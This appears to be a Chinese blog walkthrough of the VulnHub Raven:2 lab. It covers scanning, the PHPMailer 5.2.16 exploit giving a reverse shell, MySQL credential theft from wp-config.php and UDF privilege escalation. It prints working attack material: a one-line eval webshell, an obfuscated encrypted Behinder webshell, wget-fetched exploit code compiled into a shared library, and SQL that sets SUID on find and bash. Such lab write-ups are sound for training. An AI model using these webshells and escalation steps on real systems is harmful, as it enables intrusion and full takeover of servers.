当前位置: 首页 > news >正文

vulnhub-RAVEN:2(MYSQL-UDF提权,手工提权/工具自动提权)

镜像下载:Raven: 2 ~ VulnHub

实验环境:kali:192.168.78.128

                   vulnhub镜像:192.168.78.133

1、kali查看本地ip地址,以便使用nmap扫描ip段存活主机

2、nmap扫描IP段,发现靶机的IP地址为192.168.78.133

4、访问http:192.168.78.133/

 5、使用gobuster扫描目录,发现存在vendor目录,且发现靶机使用的是phpmailer

 

 6、发现vendor

7、发现第一个flag,并且网站的路径为/var/www/html/vendor/

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

8、发现phpmailer版本为5.2.16

 

9、去exp官网查询漏洞情况

        网站为:https://www.exploit-db.com/

 

10、下载exp

这里如果始终报错,不出现shell的URL地址时,请在python脚本开头加入如下代码
#!/usr/bin/python# -*- coding: utf-8 -*-

11、当访问shell的URL时,shell反弹到主机

 

12、查看目录

13、查询flag文件

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

/var/www/flag2.txt

 

 

 

 14、cat wp-config.php,在配置文件中发现了mysql账号密码

 

 15、写入一句话木马,使用蚁剑连接

echo '<?php eval(@$_POST['x']);?>' > 1.php

使用bash命令:python -c 'import pty;pty.spawn("/bin/bash")'

 

 16、连接shell的时候遇到一个问题,哥斯拉可以连接成功,冰蝎连接失败,换个冰蝎的shell脚本才能连接,一句话木马只能使用哥斯拉和蚁剑连接。

 

 选择冰蝎专用shell脚本

 密码为x的webshell

<?php @error_reporting(0);session_start();$key="9dd4e461268c8034";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$HnEIj=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$HnEIj=$t($HnEIj."");for($i=0;$i<strlen($HnEIj);$i++) { $new_key = $key[$i+1&15];$HnEIj[$i] = $HnEIj[$i] ^ $new_key;}	}else{ $HnEIj=openssl_decrypt($HnEIj, "AES128", $key);}$arr=explode('|',$HnEIj);$func=$arr[0];$params=$arr[1];class G3Kp74P0{ public function __invoke($p) {@eval("/*Z947fQ9k4P*/".$p."");}}@call_user_func/*Z947fQ9k4P*/(new G3Kp74P0(),$params);?>

 17、利用mysql数据库提权

(1)连接数据库

 

 (2)发现数据库没开启外链,使用sql语句开启外链

 (3)利用navict连接数据库,发现连接失败,怀疑防火墙禁止外链

 (4)MDUT 2.0 数据库利用工具  https://github.com/SafeGroceryStore/MDUT  

利用冰蝎内网穿透,内网mysql出来连接我

连接成功之后进行UDF提权

查看root目录下的文件,发现存在第四个flag

 以下是两个手工提权的手法。分别是find、bash提权

18、利用exp手工提权,将find命令赋予suid权限,使用find的exec执行命令

 (1)通过mysql账号密码,登录进入mysql,看看数据库的版本是否存在漏洞

 (2)查看版本

 (3)exp:

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit我们在KALI上编译生成so文件

wget https://www.exploit-db.com/download/1518

mv 1518 raptor_udf.c

gcc -g -c raptor_udf.c

gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

mv raptor_udf.so 1518.so

(4)将输出的1518.so上传到靶机的/tmp,进行提权,进入mysql数据库中导入

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system函数调用

create function do_system returns integer soname '1518.so';

select do_system('chmod u+s /usr/bin/find');

#配合使用find调用执行

touch dafei

find dafei –exec "whoami" \;

find dafei –exec "/bin/sh" \;

id

 

19、bash提权

(1)查看bash命令的目录

(2)mysql中导入脚本,新增/usr/lib/mysql/plugin/1518.so

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system函数调用

create function do_system returns integer soname '1518.so';

select do_system('chmod u+s /bin/bash');

http://www.lryc.cn/news/67440.html

相关文章:

  • 如何完整地掌握一个机器学习模型
  • Nevron Open Vision for .NET 2022.3 Crack
  • 【Linux】冯诺依曼体系结构以及操作系统的初步认知
  • 盖雅工场重磅发布「劳动力账户」,助力企业实现全面工时成本管理
  • 数据结构与算法基础(青岛大学-王卓)(2)
  • 水产亚硝酸盐偏高解决办法,饮用水亚硝酸盐超标
  • linux 设备树详解
  • STM32 学习笔记_7 定时器中断:输出比较
  • HTML购物车示例(勾选、删除、添加和结算功能)
  • MySQL原理(十):主从架构
  • 一文了解Moonbeam智能合约
  • 【加解密篇】利用HashCat破解RAR压缩包加密文件详细教程
  • React面试题汇总1
  • Golang每日一练(leetDay0066) 有效电话号码、转置文件
  • 前端 之 FormData对象浅谈
  • 【分布式锁】Redisson分布式锁的使用(推荐使用)
  • 创建XML的三种方式(二)
  • 十分钟教你搭建类似ChatGPT的安卓应用程序
  • 问题 E: 起止位置(C++)(二分查找)
  • 【sop】基于灵敏度分析的有源配电网智能软开关优化配置[升级1](Matlab代码实现)
  • LeetCode周赛复盘(第345场周赛)
  • Call for Papers丨第三届GLB@KDD‘23 Workshop
  • 【多线程】单例模式
  • 7搜索管理
  • 在Pytorch中使用Tensorboard
  • [笔记]深入解析Windows操作系统《四》管理机制
  • 【小沐学Python】Python实现在线英语翻译功能
  • k8s中pod使用详解
  • 案例说明:vue中Element UI下拉列表el-option中的key、value、label含义各是什么
  • idea创建javaweb项目步骤超详细(2022最新版本)